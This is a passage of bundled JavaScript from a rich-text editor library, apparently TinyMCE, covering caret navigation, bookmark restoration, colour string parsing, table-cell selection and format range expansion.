      if (nextSibling && isCaretCandidate(nextSibling)) {
        if (isText$3(nextSibling)) {
          return CaretPosition(nextSibling, 0);
        } else {
          return CaretPosition.before(nextSibling);
        }
      } else {
        return findCaretPosition$1(HDirection.Forwards, CaretPosition.after(nextNode), root);
      }
    };
    const findCaretPosition$1 = (direction, startPos, root) => {
      let node;
      let nextNode;
      let innerNode;
      let caretPosition;
      if (!isElement$1(root) || !startPos) {
        return null;
      }
      if (startPos.isEqual(CaretPosition.after(root)) && root.lastChild) {
        caretPosition = CaretPosition.after(root.lastChild);
        if (isBackwards(direction) && isCaretCandidate(root.lastChild) && isElement$1(root.lastChild)) {
          return isBr$2(root.lastChild) ? CaretPosition.before(root.lastChild) : caretPosition;
        }
      } else {
        caretPosition = startPos;
      }
      const container = caretPosition.container();
      let offset = caretPosition.offset();
      if (isText$3(container)) {
        if (isBackwards(direction) && offset > 0) {
          return CaretPosition(container, --offset);
        }
        if (isForwards(direction) && offset < container.length) {
          return CaretPosition(container, ++offset);
        }
        node = container;
      } else {
        if (isBackwards(direction) && offset > 0) {
          nextNode = nodeAtIndex(container, offset - 1);
          if (isCaretCandidate(nextNode)) {
            if (!isAtomic(nextNode)) {
              innerNode = findNode(nextNode, direction, isEditableCaretCandidate, nextNode);
              if (innerNode) {
                if (isText$3(innerNode)) {
                  return CaretPosition(innerNode, innerNode.data.length);
                }
                return CaretPosition.after(innerNode);
              }
            }
            if (isText$3(nextNode)) {
              return CaretPosition(nextNode, nextNode.data.length);
            }
            return CaretPosition.before(nextNode);
          }
        }
        if (isForwards(direction) && offset < container.childNodes.length) {
          nextNode = nodeAtIndex(container, offset);
          if (isCaretCandidate(nextNode)) {
            if (isBr$2(nextNode)) {
              return moveForwardFromBr(root, nextNode);
            }
            if (!isAtomic(nextNode)) {
              innerNode = findNode(nextNode, direction, isEditableCaretCandidate, nextNode);
              if (innerNode) {
                if (isText$3(innerNode)) {
                  return CaretPosition(innerNode, 0);
                }
                return CaretPosition.before(innerNode);
              }
            }
            if (isText$3(nextNode)) {
              return CaretPosition(nextNode, 0);
            }
            return CaretPosition.after(nextNode);
          }
        }
        node = nextNode ? nextNode : caretPosition.getNode();
      }
      if (node && (isForwards(direction) && caretPosition.isAtEnd() || isBackwards(direction) && caretPosition.isAtStart())) {
        node = findNode(node, direction, always, root, true);
        if (isEditableCaretCandidate(node, root)) {
          return getCaretCandidatePosition(direction, node);
        }
      }
      nextNode = node ? findNode(node, direction, isEditableCaretCandidate, root) : node;
      const rootContentEditableFalseElm = last$2(filter$5(getParents$3(container, root), isContentEditableFalse$5));
      if (rootContentEditableFalseElm && (!nextNode || !rootContentEditableFalseElm.contains(nextNode))) {
        if (isForwards(direction)) {
          caretPosition = CaretPosition.after(rootContentEditableFalseElm);
        } else {
          caretPosition = CaretPosition.before(rootContentEditableFalseElm);
        }
        return caretPosition;
      }
      if (nextNode) {
        return getCaretCandidatePosition(direction, nextNode);
      }
      return null;
    };
    const CaretWalker = root => ({
      next: caretPosition => {
        return findCaretPosition$1(HDirection.Forwards, caretPosition, root);
      },
      prev: caretPosition => {
        return findCaretPosition$1(HDirection.Backwards, caretPosition, root);
      }
    });

    const walkToPositionIn = (forward, root, start) => {
      const position = forward ? CaretPosition.before(start) : CaretPosition.after(start);
      return fromPosition(forward, root, position);
    };
    const afterElement = node => isBr$6(node) ? CaretPosition.before(node) : CaretPosition.after(node);
    const isBeforeOrStart = position => {
      if (CaretPosition.isTextPosition(position)) {
        return position.offset() === 0;
      } else {
        return isCaretCandidate$3(position.getNode());
      }
    };
    const isAfterOrEnd = position => {
      if (CaretPosition.isTextPosition(position)) {
        const container = position.container();
        return position.offset() === container.data.length;
      } else {
        return isCaretCandidate$3(position.getNode(true));
      }
    };
    const isBeforeAfterSameElement = (from, to) => !CaretPosition.isTextPosition(from) && !CaretPosition.isTextPosition(to) && from.getNode() === to.getNode(true);
    const isAtBr = position => !CaretPosition.isTextPosition(position) && isBr$6(position.getNode());
    const shouldSkipPosition = (forward, from, to) => {
      if (forward) {
        return !isBeforeAfterSameElement(from, to) && !isAtBr(from) && isAfterOrEnd(from) && isBeforeOrStart(to);
      } else {
        return !isBeforeAfterSameElement(to, from) && isBeforeOrStart(from) && isAfterOrEnd(to);
      }
    };
    const fromPosition = (forward, root, pos) => {
      const walker = CaretWalker(root);
      return Optional.from(forward ? walker.next(pos) : walker.prev(pos));
    };
    const navigate = (forward, root, from) => fromPosition(forward, root, from).bind(to => {
      if (isInSameBlock(from, to, root) && shouldSkipPosition(forward, from, to)) {
        return fromPosition(forward, root, to);
      } else {
        return Optional.some(to);
      }
    });
    const navigateIgnore = (forward, root, from, ignoreFilter) => navigate(forward, root, from).bind(pos => ignoreFilter(pos) ? navigateIgnore(forward, root, pos, ignoreFilter) : Optional.some(pos));
    const positionIn = (forward, element) => {
      const startNode = forward ? element.firstChild : element.lastChild;
      if (isText$a(startNode)) {
        return Optional.some(CaretPosition(startNode, forward ? 0 : startNode.data.length));
      } else if (startNode) {
        if (isCaretCandidate$3(startNode)) {
          return Optional.some(forward ? CaretPosition.before(startNode) : afterElement(startNode));
        } else {
          return walkToPositionIn(forward, element, startNode);
        }
      } else {
        return Optional.none();
      }
    };
    const nextPosition = curry(fromPosition, true);
    const prevPosition = curry(fromPosition, false);
    const firstPositionIn = curry(positionIn, true);
    const lastPositionIn = curry(positionIn, false);

    const CARET_ID = '_mce_caret';
    const isCaretNode = node => isElement$6(node) && node.id === CARET_ID;
    const getParentCaretContainer = (body, node) => {
      let currentNode = node;
      while (currentNode && currentNode !== body) {
        if (isCaretNode(currentNode)) {
          return currentNode;
        }
        currentNode = currentNode.parentNode;
      }
      return null;
    };

    const isStringPathBookmark = bookmark => isString(bookmark.start);
    const isRangeBookmark = bookmark => has$2(bookmark, 'rng');
    const isIdBookmark = bookmark => has$2(bookmark, 'id');
    const isIndexBookmark = bookmark => has$2(bookmark, 'name');
    const isPathBookmark = bookmark => Tools.isArray(bookmark.start);

    const isForwardBookmark = bookmark => !isIndexBookmark(bookmark) && isBoolean(bookmark.forward) ? bookmark.forward : true;
    const addBogus = (dom, node) => {
      if (isElement$6(node) && dom.isBlock(node) && !node.innerHTML) {
        node.innerHTML = '<br data-mce-bogus="1" />';
      }
      return node;
    };
    const resolveCaretPositionBookmark = (dom, bookmark) => {
      const startPos = Optional.from(resolve$1(dom.getRoot(), bookmark.start));
      const endPos = Optional.from(resolve$1(dom.getRoot(), bookmark.end));
      return lift2(startPos, endPos, (start, end) => {
        const range = dom.createRng();
        range.setStart(start.container(), start.offset());
        range.setEnd(end.container(), end.offset());
        return {
          range,
          forward: isForwardBookmark(bookmark)
        };
      });
    };
    const insertZwsp = (node, rng) => {
      var _a;
      const doc = (_a = node.ownerDocument) !== null && _a !== void 0 ? _a : document;
      const textNode = doc.createTextNode(ZWSP$1);
      node.appendChild(textNode);
      rng.setStart(textNode, 0);
      rng.setEnd(textNode, 0);
    };
    const isEmpty$1 = node => !node.hasChildNodes();
    const tryFindRangePosition = (node, rng) => lastPositionIn(node).fold(never, pos => {
      rng.setStart(pos.container(), pos.offset());
      rng.setEnd(pos.container(), pos.offset());
      return true;
    });
    const padEmptyCaretContainer = (root, node, rng) => {
      if (isEmpty$1(node) && getParentCaretContainer(root, node)) {
        insertZwsp(node, rng);
        return true;
      } else {
        return false;
      }
    };
    const setEndPoint = (dom, start, bookmark, rng) => {
      const point = bookmark[start ? 'start' : 'end'];
      const root = dom.getRoot();
      if (point) {
        let node = root;
        let offset = point[0];
        for (let i = point.length - 1; node && i >= 1; i--) {
          const children = node.childNodes;
          if (padEmptyCaretContainer(root, node, rng)) {
            return true;
          }
          if (point[i] > children.length - 1) {
            if (padEmptyCaretContainer(root, node, rng)) {
              return true;
            }
            return tryFindRangePosition(node, rng);
          }
          node = children[point[i]];
        }
        if (isText$a(node)) {
          offset = Math.min(point[0], node.data.length);
        }
        if (isElement$6(node)) {
          offset = Math.min(point[0], node.childNodes.length);
        }
        if (start) {
          rng.setStart(node, offset);
        } else {
          rng.setEnd(node, offset);
        }
      }
      return true;
    };
    const isValidTextNode = node => isText$a(node) && node.data.length > 0;
    const restoreEndPoint = (dom, suffix, bookmark) => {
      const marker = dom.get(bookmark.id + '_' + suffix);
      const markerParent = marker === null || marker === void 0 ? void 0 : marker.parentNode;
      const keep = bookmark.keep;
      if (marker && markerParent) {
        let container;
        let offset;
        if (suffix === 'start') {
          if (!keep) {
            container = markerParent;
            offset = dom.nodeIndex(marker);
          } else {
            if (marker.hasChildNodes()) {
              container = marker.firstChild;
              offset = 1;
            } else if (isValidTextNode(marker.nextSibling)) {
              container = marker.nextSibling;
              offset = 0;
            } else if (isValidTextNode(marker.previousSibling)) {
              container = marker.previousSibling;
              offset = marker.previousSibling.data.length;
            } else {
              container = markerParent;
              offset = dom.nodeIndex(marker) + 1;
            }
          }
        } else {
          if (!keep) {
            container = markerParent;
            offset = dom.nodeIndex(marker);
          } else {
            if (marker.hasChildNodes()) {
              container = marker.firstChild;
              offset = 1;
            } else if (isValidTextNode(marker.previousSibling)) {
              container = marker.previousSibling;
              offset = marker.previousSibling.data.length;
            } else {
              container = markerParent;
              offset = dom.nodeIndex(marker);
            }
          }
        }
        if (!keep) {
          const prev = marker.previousSibling;
          const next = marker.nextSibling;
          Tools.each(Tools.grep(marker.childNodes), node => {
            if (isText$a(node)) {
              node.data = node.data.replace(/\uFEFF/g, '');
            }
          });
          let otherMarker;
          while (otherMarker = dom.get(bookmark.id + '_' + suffix)) {
            dom.remove(otherMarker, true);
          }
          if (isText$a(next) && isText$a(prev) && !Env.browser.isOpera()) {
            const idx = prev.data.length;
            prev.appendData(next.data);
            dom.remove(next);
            container = prev;
            offset = idx;
          }
        }
        return Optional.some(CaretPosition(container, offset));
      } else {
        return Optional.none();
      }
    };
    const resolvePaths = (dom, bookmark) => {
      const range = dom.createRng();
      if (setEndPoint(dom, true, bookmark, range) && setEndPoint(dom, false, bookmark, range)) {
        return Optional.some({
          range,
          forward: isForwardBookmark(bookmark)
        });
      } else {
        return Optional.none();
      }
    };
    const resolveId = (dom, bookmark) => {
      const startPos = restoreEndPoint(dom, 'start', bookmark);
      const endPos = restoreEndPoint(dom, 'end', bookmark);
      return lift2(startPos, endPos.or(startPos), (spos, epos) => {
        const range = dom.createRng();
        range.setStart(addBogus(dom, spos.container()), spos.offset());
        range.setEnd(addBogus(dom, epos.container()), epos.offset());
        return {
          range,
          forward: isForwardBookmark(bookmark)
        };
      });
    };
    const resolveIndex = (dom, bookmark) => Optional.from(dom.select(bookmark.name)[bookmark.index]).map(elm => {
      const range = dom.createRng();
      range.selectNode(elm);
      return {
        range,
        forward: true
      };
    });
    const resolve = (selection, bookmark) => {
      const dom = selection.dom;
      if (bookmark) {
        if (isPathBookmark(bookmark)) {
          return resolvePaths(dom, bookmark);
        } else if (isStringPathBookmark(bookmark)) {
          return resolveCaretPositionBookmark(dom, bookmark);
        } else if (isIdBookmark(bookmark)) {
          return resolveId(dom, bookmark);
        } else if (isIndexBookmark(bookmark)) {
          return resolveIndex(dom, bookmark);
        } else if (isRangeBookmark(bookmark)) {
          return Optional.some({
            range: bookmark.rng,
            forward: isForwardBookmark(bookmark)
          });
        }
      }
      return Optional.none();
    };

    const getBookmark$1 = (selection, type, normalized) => {
      return getBookmark$2(selection, type, normalized);
    };
    const moveToBookmark = (selection, bookmark) => {
      resolve(selection, bookmark).each(({range, forward}) => {
        selection.setRng(range, forward);
      });
    };
    const isBookmarkNode$1 = node => {
      return isElement$6(node) && node.tagName === 'SPAN' && node.getAttribute('data-mce-type') === 'bookmark';
    };

    const is = expected => actual => expected === actual;
    const isNbsp = is(nbsp);
    const isWhiteSpace = chr => chr !== '' && ' \f\n\r\t\x0B'.indexOf(chr) !== -1;
    const isContent = chr => !isWhiteSpace(chr) && !isNbsp(chr) && !isZwsp$1(chr);

    const hexColour = value => ({ value });
    const toHex = component => {
      const hex = component.toString(16);
      return (hex.length === 1 ? '0' + hex : hex).toUpperCase();
    };
    const fromRgba = rgbaColour => {
      const value = toHex(rgbaColour.red) + toHex(rgbaColour.green) + toHex(rgbaColour.blue);
      return hexColour(value);
    };

    const rgbRegex = /^\s*rgb\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)\s*$/i;
    const rgbaRegex = /^\s*rgba\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d?(?:\.\d+)?)\s*\)\s*$/i;
    const rgbaColour = (red, green, blue, alpha) => ({
      red,
      green,
      blue,
      alpha
    });
    const fromStringValues = (red, green, blue, alpha) => {
      const r = parseInt(red, 10);
      const g = parseInt(green, 10);
      const b = parseInt(blue, 10);
      const a = parseFloat(alpha);
      return rgbaColour(r, g, b, a);
    };
    const fromString = rgbaString => {
      if (rgbaString === 'transparent') {
        return Optional.some(rgbaColour(0, 0, 0, 0));
      }
      const rgbMatch = rgbRegex.exec(rgbaString);
      if (rgbMatch !== null) {
        return Optional.some(fromStringValues(rgbMatch[1], rgbMatch[2], rgbMatch[3], '1'));
      }
      const rgbaMatch = rgbaRegex.exec(rgbaString);
      if (rgbaMatch !== null) {
        return Optional.some(fromStringValues(rgbaMatch[1], rgbaMatch[2], rgbaMatch[3], rgbaMatch[4]));
      }
      return Optional.none();
    };

    const rgbaToHexString = color => fromString(color).map(fromRgba).map(h => '#' + h.value).getOr(color);

    const getRanges$1 = selection => {
      const ranges = [];
      if (selection) {
        for (let i = 0; i < selection.rangeCount; i++) {
          ranges.push(selection.getRangeAt(i));
        }
      }
      return ranges;
    };
    const getSelectedNodes = ranges => {
      return bind$3(ranges, range => {
        const node = getSelectedNode(range);
        return node ? [SugarElement.fromDom(node)] : [];
      });
    };
    const hasMultipleRanges = selection => {
      return getRanges$1(selection).length > 1;
    };

    const getCellsFromRanges = ranges => filter$5(getSelectedNodes(ranges), isTableCell$2);
    const getCellsFromElement = elm => descendants(elm, 'td[data-mce-selected],th[data-mce-selected]');
    const getCellsFromElementOrRanges = (ranges, element) => {
      const selectedCells = getCellsFromElement(element);
      return selectedCells.length > 0 ? selectedCells : getCellsFromRanges(ranges);
    };
    const getCellsFromEditor = editor => getCellsFromElementOrRanges(getRanges$1(editor.selection.getSel()), SugarElement.fromDom(editor.getBody()));
    const getClosestTable = (cell, isRoot) => ancestor$2(cell, 'table', isRoot);

    const getStartNode = rng => {
      const sc = rng.startContainer, so = rng.startOffset;
      if (isText$a(sc)) {
        return so === 0 ? Optional.some(SugarElement.fromDom(sc)) : Optional.none();
      } else {
        return Optional.from(sc.childNodes[so]).map(SugarElement.fromDom);
      }
    };
    const getEndNode = rng => {
      const ec = rng.endContainer, eo = rng.endOffset;
      if (isText$a(ec)) {
        return eo === ec.data.length ? Optional.some(SugarElement.fromDom(ec)) : Optional.none();
      } else {
        return Optional.from(ec.childNodes[eo - 1]).map(SugarElement.fromDom);
      }
    };
    const getFirstChildren = node => {
      return firstChild(node).fold(constant([node]), child => {
        return [node].concat(getFirstChildren(child));
      });
    };
    const getLastChildren = node => {
      return lastChild(node).fold(constant([node]), child => {
        if (name(child) === 'br') {
          return prevSibling(child).map(sibling => {
            return [node].concat(getLastChildren(sibling));
          }).getOr([]);
        } else {
          return [node].concat(getLastChildren(child));
        }
      });
    };
    const hasAllContentsSelected = (elm, rng) => {
      return lift2(getStartNode(rng), getEndNode(rng), (startNode, endNode) => {
        const start = find$2(getFirstChildren(elm), curry(eq, startNode));
        const end = find$2(getLastChildren(elm), curry(eq, endNode));
        return start.isSome() && end.isSome();
      }).getOr(false);
    };
    const moveEndPoint = (dom, rng, node, start) => {
      const root = node;
      const walker = new DomTreeWalker(node, root);
      const moveCaretBeforeOnEnterElementsMap = filter$4(dom.schema.getMoveCaretBeforeOnEnterElements(), (_, name) => !contains$2([
        'td',
        'th',
        'table'
      ], name.toLowerCase()));
      let currentNode = node;
      do {
        if (isText$a(currentNode) && Tools.trim(currentNode.data).length !== 0) {
          if (start) {
            rng.setStart(currentNode, 0);
          } else {
            rng.setEnd(currentNode, currentNode.data.length);
          }
          return;
        }
        if (moveCaretBeforeOnEnterElementsMap[currentNode.nodeName]) {
          if (start) {
            rng.setStartBefore(currentNode);
          } else {
            if (currentNode.nodeName === 'BR') {
              rng.setEndBefore(currentNode);
            } else {
              rng.setEndAfter(currentNode);
            }
          }
          return;
        }
      } while (currentNode = start ? walker.next() : walker.prev());
      if (root.nodeName === 'BODY') {
        if (start) {
          rng.setStart(root, 0);
        } else {
          rng.setEnd(root, root.childNodes.length);
        }
      }
    };
    const hasAnyRanges = editor => {
      const sel = editor.selection.getSel();
      return isNonNullable(sel) && sel.rangeCount > 0;
    };
    const runOnRanges = (editor, executor) => {
      const fakeSelectionNodes = getCellsFromEditor(editor);
      if (fakeSelectionNodes.length > 0) {
        each$e(fakeSelectionNodes, elem => {
          const node = elem.dom;
          const fakeNodeRng = editor.dom.createRng();
          fakeNodeRng.setStartBefore(node);
          fakeNodeRng.setEndAfter(node);
          executor(fakeNodeRng, true);
        });
      } else {
        executor(editor.selection.getRng(), false);
      }
    };
    const preserve = (selection, fillBookmark, executor) => {
      const bookmark = getPersistentBookmark(selection, fillBookmark);
      executor(bookmark);
      selection.moveToBookmark(bookmark);
    };

    const isNode = node => isNumber(node === null || node === void 0 ? void 0 : node.nodeType);
    const isElementNode$1 = node => isElement$6(node) && !isBookmarkNode$1(node) && !isCaretNode(node) && !isBogus$2(node);
    const isElementDirectlySelected = (dom, node) => {
      if (isElementNode$1(node) && !/^(TD|TH)$/.test(node.nodeName)) {
        const selectedAttr = dom.getAttrib(node, 'data-mce-selected');
        const value = parseInt(selectedAttr, 10);
        return !isNaN(value) && value > 0;
      } else {
        return false;
      }
    };
    const isEditable$3 = elm => elm.isContentEditable === true;
    const preserveSelection = (editor, action, shouldMoveStart) => {
      const {selection, dom} = editor;
      const selectedNodeBeforeAction = selection.getNode();
      const isSelectedBeforeNodeNoneditable = isContentEditableFalse$a(selectedNodeBeforeAction);
      preserve(selection, true, () => {
        action();
      });
      const isBeforeNodeStillNoneditable = isSelectedBeforeNodeNoneditable && isContentEditableFalse$a(selectedNodeBeforeAction);
      if (isBeforeNodeStillNoneditable && dom.isChildOf(selectedNodeBeforeAction, editor.getBody())) {
        editor.selection.select(selectedNodeBeforeAction);
      } else if (shouldMoveStart(selection.getStart())) {
        moveStartToNearestText(dom, selection);
      }
    };
    const moveStartToNearestText = (dom, selection) => {
      var _a, _b;
      const rng = selection.getRng();
      const {startContainer, startOffset} = rng;
      const selectedNode = selection.getNode();
      if (isElementDirectlySelected(dom, selectedNode)) {
        return;
      }
      if (isElement$6(startContainer)) {
        const nodes = startContainer.childNodes;
        const root = dom.getRoot();
        let walker;
        if (startOffset < nodes.length) {
          const startNode = nodes[startOffset];
          walker = new DomTreeWalker(startNode, (_a = dom.getParent(startNode, dom.isBlock)) !== null && _a !== void 0 ? _a : root);
        } else {
          const startNode = nodes[nodes.length - 1];
          walker = new DomTreeWalker(startNode, (_b = dom.getParent(startNode, dom.isBlock)) !== null && _b !== void 0 ? _b : root);
          walker.next(true);
        }
        for (let node = walker.current(); node; node = walker.next()) {
          if (dom.getContentEditable(node) === 'false') {
            return;
          } else if (isText$a(node) && !isWhiteSpaceNode$1(node)) {
            rng.setStart(node, 0);
            selection.setRng(rng);
            return;
          }
        }
      }
    };
    const getNonWhiteSpaceSibling = (node, next, inc) => {
      if (node) {
        const nextName = next ? 'nextSibling' : 'previousSibling';
        for (node = inc ? node : node[nextName]; node; node = node[nextName]) {
          if (isElement$6(node) || !isWhiteSpaceNode$1(node)) {
            return node;
          }
        }
      }
      return undefined;
    };
    const isTextBlock$1 = (schema, node) => !!schema.getTextBlockElements()[node.nodeName.toLowerCase()] || isTransparentBlock(schema, node);
    const isValid = (ed, parent, child) => {
      return ed.schema.isValidChild(parent, child);
    };
    const isWhiteSpaceNode$1 = (node, allowSpaces = false) => {
      if (isNonNullable(node) && isText$a(node)) {
        const data = allowSpaces ? node.data.replace(/ /g, '\xA0') : node.data;
        return isWhitespaceText(data);
      } else {
        return false;
      }
    };
    const isEmptyTextNode$1 = node => {
      return isNonNullable(node) && isText$a(node) && node.length === 0;
    };
    const isWrapNoneditableTarget = (editor, node) => {
      const baseDataSelector = '[data-mce-cef-wrappable]';
      const formatNoneditableSelector = getFormatNoneditableSelector(editor);
      const selector = isEmpty$3(formatNoneditableSelector) ? baseDataSelector : `${ baseDataSelector },${ formatNoneditableSelector }`;
      return is$1(SugarElement.fromDom(node), selector);
    };
    const isWrappableNoneditable = (editor, node) => {
      const dom = editor.dom;
      return isElementNode$1(node) && dom.getContentEditable(node) === 'false' && isWrapNoneditableTarget(editor, node) && dom.select('[contenteditable="true"]', node).length === 0;
    };
    const replaceVars = (value, vars) => {
      if (isFunction(value)) {
        return value(vars);
      } else if (isNonNullable(vars)) {
        value = value.replace(/%(\w+)/g, (str, name) => {
          return vars[name] || str;
        });
      }
      return value;
    };
    const isEq$5 = (str1, str2) => {
      str1 = str1 || '';
      str2 = str2 || '';
      str1 = '' + (str1.nodeName || str1);
      str2 = '' + (str2.nodeName || str2);
      return str1.toLowerCase() === str2.toLowerCase();
    };
    const normalizeStyleValue = (value, name) => {
      if (isNullable(value)) {
        return null;
      } else {
        let strValue = String(value);
        if (name === 'color' || name === 'backgroundColor') {
          strValue = rgbaToHexString(strValue);
        }
        if (name === 'fontWeight' && value === 700) {
          strValue = 'bold';
        }
        if (name === 'fontFamily') {
          strValue = strValue.replace(/[\'\"]/g, '').replace(/,\s+/g, ',');
        }
        return strValue;
      }
    };
    const getStyle = (dom, node, name) => {
      const style = dom.getStyle(node, name);
      return normalizeStyleValue(style, name);
    };
    const getTextDecoration = (dom, node) => {
      let decoration;
      dom.getParent(node, n => {
        if (isElement$6(n)) {
          decoration = dom.getStyle(n, 'text-decoration');
          return !!decoration && decoration !== 'none';
        } else {
          return false;
        }
      });
      return decoration;
    };
    const getParents$2 = (dom, node, selector) => {
      return dom.getParents(node, selector, dom.getRoot());
    };
    const isFormatPredicate = (editor, formatName, predicate) => {
      const formats = editor.formatter.get(formatName);
      return isNonNullable(formats) && exists(formats, predicate);
    };
    const isVariableFormatName = (editor, formatName) => {
      const hasVariableValues = format => {
        const isVariableValue = val => isFunction(val) || val.length > 1 && val.charAt(0) === '%';
        return exists([
          'styles',
          'attributes'
        ], key => get$a(format, key).exists(field => {
          const fieldValues = isArray$1(field) ? field : values(field);
          return exists(fieldValues, isVariableValue);
        }));
      };
      return isFormatPredicate(editor, formatName, hasVariableValues);
    };
    const areSimilarFormats = (editor, formatName, otherFormatName) => {
      const validKeys = [
        'inline',
        'block',
        'selector',
        'attributes',
        'styles',
        'classes'
      ];
      const filterObj = format => filter$4(format, (_, key) => exists(validKeys, validKey => validKey === key));
      return isFormatPredicate(editor, formatName, fmt1 => {
        const filteredFmt1 = filterObj(fmt1);
        return isFormatPredicate(editor, otherFormatName, fmt2 => {
          const filteredFmt2 = filterObj(fmt2);
          return equal$1(filteredFmt1, filteredFmt2);
        });
      });
    };
    const isBlockFormat = format => hasNonNullableKey(format, 'block');
    const isWrappingBlockFormat = format => isBlockFormat(format) && format.wrapper === true;
    const isNonWrappingBlockFormat = format => isBlockFormat(format) && format.wrapper !== true;
    const isSelectorFormat = format => hasNonNullableKey(format, 'selector');
    const isInlineFormat = format => hasNonNullableKey(format, 'inline');
    const isMixedFormat = format => isSelectorFormat(format) && isInlineFormat(format) && is$2(get$a(format, 'mixed'), true);
    const shouldExpandToSelector = format => isSelectorFormat(format) && format.expand !== false && !isInlineFormat(format);

    const isBookmarkNode = isBookmarkNode$1;
    const getParents$1 = getParents$2;
    const isWhiteSpaceNode = isWhiteSpaceNode$1;
    const isTextBlock = isTextBlock$1;
    const isBogusBr = node => {
      return isBr$6(node) && node.getAttribute('data-mce-bogus') && !node.nextSibling;
    };
    const findParentContentEditable = (dom, node) => {
      let parent = node;
      while (parent) {
        if (isElement$6(parent) && dom.getContentEditable(parent)) {
          return dom.getContentEditable(parent) === 'false' ? parent : node;
        }
        parent = parent.parentNode;
      }
      return node;
    };
    const walkText = (start, node, offset, predicate) => {
      const str = node.data;
      if (start) {
        for (let i = offset; i > 0; i--) {
          if (predicate(str.charAt(i - 1))) {
            return i;
          }
        }
      } else {
        for (let i = offset; i < str.length; i++) {
          if (predicate(str.charAt(i))) {
            return i;
          }
        }
      }
      return -1;
    };
    const findSpace = (start, node, offset) => walkText(start, node, offset, c => isNbsp(c) || isWhiteSpace(c));
    const findContent = (start, node, offset) => walkText(start, node, offset, isContent);
    const findWordEndPoint = (dom, body, container, offset, start, includeTrailingSpaces) => {
      let lastTextNode;
      const rootNode = dom.getParent(container, dom.isBlock) || body;
      const walk = (container, offset, pred) => {
        const textSeeker = TextSeeker(dom);
        const walker = start ? textSeeker.backwards : textSeeker.forwards;
        return Optional.from(walker(container, offset, (text, textOffset) => {
          if (isBookmarkNode(text.parentNode)) {
            return -1;
          } else {
            lastTextNode = text;
            return pred(start, text, textOffset);
          }
        }, rootNode));
      };
      const spaceResult = walk(container, offset, findSpace);
      return spaceResult.bind(result => includeTrailingSpaces ? walk(result.container, result.offset + (start ? -1 : 0), findContent) : Optional.some(result)).orThunk(() => lastTextNode ? Optional.some({
        container: lastTextNode,
        offset: start ? 0 : lastTextNode.length
      }) : Optional.none());
    };
    const findSelectorEndPoint = (dom, formatList, rng, container, siblingName) => {
      const sibling = container[siblingName];
      if (isText$a(container) && isEmpty$3(container.data) && sibling) {
        container = sibling;
      }
      const parents = getParents$1(dom, container);
      for (let i = 0; i < parents.length; i++) {
        for (let y = 0; y < formatList.length; y++) {
          const curFormat = formatList[y];
          if (isNonNullable(curFormat.collapsed) && curFormat.collapsed !== rng.collapsed) {
            continue;
          }
          if (isSelectorFormat(curFormat) && dom.is(parents[i], curFormat.selector)) {
            return parents[i];
          }
        }
      }
      return container;
    };
    const findBlockEndPoint = (dom, formatList, container, siblingName) => {
      var _a;
      let node = container;
      const root = dom.getRoot();
      const format = formatList[0];
      if (isBlockFormat(format)) {
        node = format.wrapper ? null : dom.getParent(container, format.block, root);
      }
      if (!node) {
        const scopeRoot = (_a = dom.getParent(container, 'LI,TD,TH')) !== null && _a !== void 0 ? _a : root;
        node = dom.getParent(isText$a(container) ? container.parentNode : container, node => node !== root && isTextBlock(dom.schema, node), scopeRoot);
      }
      if (node && isBlockFormat(format) && format.wrapper) {
        node = getParents$1(dom, node, 'ul,ol').reverse()[0] || node;
      }
      if (!node) {
        node = container;
        while (node && node[siblingName] && !dom.isBlock(node[siblingName])) {
          node = node[siblingName];
          if (isEq$5(node, 'br')) {
            break;
          }
        }
      }
      return node || container;
    };
    const isAtBlockBoundary$1 = (dom, root, container, siblingName) => {
      const parent = container.parentNode;
      if (isNonNullable(container[siblingName])) {
        return false;
      } else if (parent === root || isNullable(parent) || dom.isBlock(parent)) {
        return true;
      } else {
        return isAtBlockBoundary$1(dom, root, parent, siblingName);
      }
    };
    const findParentContainer = (dom, formatList, container, offset, start) => {
      let parent = container;
      const siblingName = start ? 'previousSibling' : 'nextSibling';
      const root = dom.getRoot();
      if (isText$a(container) && !isWhiteSpaceNode(container)) {
        if (start ? offset > 0 : offset < container.data.length) {
          return container;
        }
      }
      while (parent) {
        if (!formatList[0].block_expand && dom.isBlock(parent)) {
          return parent;
        }
        for (let sibling = parent[siblingName]; sibling; sibling = sibling[siblingName]) {
          const allowSpaces = isText$a(sibling) && !isAtBlockBoundary$1(dom, root, sibling, siblingName);
          if (!isBookmarkNode(sibling) && !isBogusBr(sibling) && !isWhiteSpaceNode(sibling, allowSpaces)) {
            return parent;
          }
        }
        if (parent === root || parent.parentNode === root) {
          container = parent;
          break;
        }
        parent = parent.parentNode;
      }
      return container;
    };
    const isSelfOrParentBookmark = container => isBookmarkNode(container.parentNode) || isBookmarkNode(container);
    const expandRng = (dom, rng, formatList, includeTrailingSpace = false) => {
      let {startContainer, startOffset, endContainer, endOffset} = rng;
      const format = formatList[0];
      if (isElement$6(startContainer) && startContainer.hasChildNodes()) {
        startContainer = getNode$1(startContainer, startOffset);
        if (isText$a(startContainer)) {
          startOffset = 0;
        }
      }
      if (isElement$6(endContainer) && endContainer.hasChildNodes()) {
        endContainer = getNode$1(endContainer, rng.collapsed ? endOffset : endOffset - 1);
        if (isText$a(endContainer)) {
          endOffset = endContainer.data.length;
        }
      }
      startContainer = findParentContentEditable(dom, startContainer);
      endContainer = findParentContentEditable(dom, endContainer);
      if (isSelfOrParentBookmark(startContainer)) {
        startContainer = isBookmarkNode(startContainer) ? startContainer : startContainer.parentNode;
        if (rng.collapsed) {
          startContainer = startContainer.previousSibling || startContainer;
        } else {
          startContainer = startContainer.nextSibling || startContainer;
        }
        if (isText$a(startContainer)) {
          startOffset = rng.collapsed ? startContainer.length : 0;
        }
      }
      if (isSelfOrParentBookmark(endContainer)) {
        endContainer = isBookmarkNode(endContainer) ? endContainer : endContainer.parentNode;
        if (rng.collapsed) {
          endContainer = endContainer.nextSibling || endContainer;
        } else {
          endContainer = endContainer.previousSibling || endContainer;
        }
        if (isText$a(endContainer)) {
          endOffset = rng.collapsed ? 0 : endContainer.length;
        }
      }
      if (rng.collapsed) {
        const startPoint = findWordEndPoint(dom, dom.getRoot(), startContainer, startOffset, true, includeTrailingSpace);
        startPoint.each(({container, offset}) => {
          startContainer = container;
          startOffset = offset;
        });
        const endPoint = findWordEndPoint(dom, dom.getRoot(), endContainer, endOffset, false, includeTrailingSpace);
        endPoint.each(({container, offset}) => {
          endContainer = container;
          endOffset = offset;
        });
      }
      if (isInlineFormat(format) || format.block_expand) {
